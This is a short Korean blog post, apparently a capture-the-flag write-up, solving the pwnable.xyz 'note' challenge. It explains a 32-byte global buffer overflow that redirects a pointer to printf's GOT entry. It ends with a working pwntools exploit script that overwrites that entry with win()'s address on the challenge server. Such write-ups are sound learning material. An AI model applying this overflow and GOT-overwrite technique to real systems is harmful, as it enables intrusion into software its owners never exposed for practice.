ii4gsp

pwnable.xyz - note 본문

시스템 해킹/pwnable.xyz

pwnable.xyz - note

ii4gsp 2020. 3. 2. 19:47

다운 ㄱㄱ

 

 

 

 

1을 입력하면 edit_note()함수가 실행되고, 2를 입력하면 edit_desc()함수가 실행된다.

 

 

 

 

edit_note()함수에서 할당 크기를 물어보고 read()함수로 전역변수 buf에 문자열을 입력받는다.

strncpy()함수로 전역변수 buf에 입력받은 내용을 전역변수 s에 복사를 한다.

 

 

 

 

메모리를 보면 전역변수 s와 buf의 거리는 32byte차이가 난다.

s를 오버플로우 일으켜 buf를 printf()함수의 GOT로 변조하면 된다.

 

 

 

 

win()함수는 flag를 출력한다.

 

 

 

 

edit_desc()함수는 buf가 0이면 0x20만큼 할당하고 0x20만큼 문자열을 입력받는다.

0x20은 32이다.

edit_note()함수에서 buf를 printf()함수의 GOT로 조작하고 edit_desc()함수에서 win()함수의 주소로 덮어쓰면 된다.

 

 

 

 

Exploit

from pwn import *

r = remote('svc.pwnable.xyz', 30016)
e = ELF('/home/ii4gsp/pwnable-xyz/challenge')

printf_got = e.got['printf']
win = e.symbols['win']

payload = ''
payload += '\x90' * 32
payload += p64(printf_got)

r.sendafter('> ', '1')
r.sendafter('Note len? ', '40')

r.sendafter('note: ', payload)

r.sendafter('> ', '2')
r.sendafter('desc: ', p64(win))

print r.recv()

 

 

 

 

 

'시스템 해킹 > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - GrownUp  (0) 2020.03.01
pwnable.xyz - misalignment  (0) 2020.03.01
pwnable.xyz - add  (0) 2020.02.08
pwnable.xyz - sub  (0) 2020.02.08
pwnable.xyz - Welcome  (0) 2020.02.08
Comments